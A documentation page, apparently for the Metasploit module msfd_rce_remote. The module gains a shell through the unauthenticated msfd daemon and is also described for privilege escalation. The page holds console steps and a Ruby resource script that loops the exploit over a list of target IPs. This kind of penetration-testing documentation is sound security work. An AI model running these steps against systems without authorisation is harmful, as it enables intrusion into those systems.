List of CVEs: -
Metasploit's msfd-service makes it possible to get a msfconsole-like interface over a TCP socket. If this socket is accessible on a remote interface, an attacker can execute commands on the victim's machine. If msfd is running with higher privileges than the current local user, this module can also be used for privilege escalation. In that case, port forwarding on the compromised host can be used. Code execution is achieved with the msfconsole command: irb -e 'CODE'.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using msfd_rce_remote against a single host
Normally, you can use exploit/multi/misc/msfd_rce_remote this way:
msf > use exploit/multi/misc/msfd_rce_remote
msf exploit(msfd_rce_remote) > show targets
... a list of targets ...
msf exploit(msfd_rce_remote) > set TARGET target-id
msf exploit(msfd_rce_remote) > show options
... show and set options ...
msf exploit(msfd_rce_remote) > exploit
Using msfd_rce_remote against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your msfd_rce_remote will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/misc/msfd_rce_remote")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base
Description
This module connects to the Metasploit msf daemon and uses the ruby interpreter to achieve a shell. This module can target remote systems if the daemon is exposed on a remote interface or it can be used for privilege escalation when the attacker has a foothold. If used as privilege escalation, port forwarding must be set up.
Vulnerable Application
Metasploit has a legacy method of providing remote access. The msf daemon provides no means of authentication and is therefore vulnerable against an attacker who has IP access to the daemon.
All versions of Metasploit are affected by this module, however testing has only been performed on the following targets:
- Metasploit 5.0.0 on Ubuntu 16.04
- Metasploit 4.16.51 on Windows 7
Source code and installers:
Verification Steps
- Start the vulnerable service:
msfd -f -q -a 0.0.0.0 - Start
msfconsole - Do:
use exploit/multi/misc/msfd_rce_remote - Do:
set RHOST [IP] - Do:
set RPORT [PORT](default:55554) - Do:
set PAYLOAD [PAYLOAD] - Do:
exploit - You should get a shell
Options
RHOST
Remote Host
RPORT
Remote port the vulnerable service is running at, default is 55554.
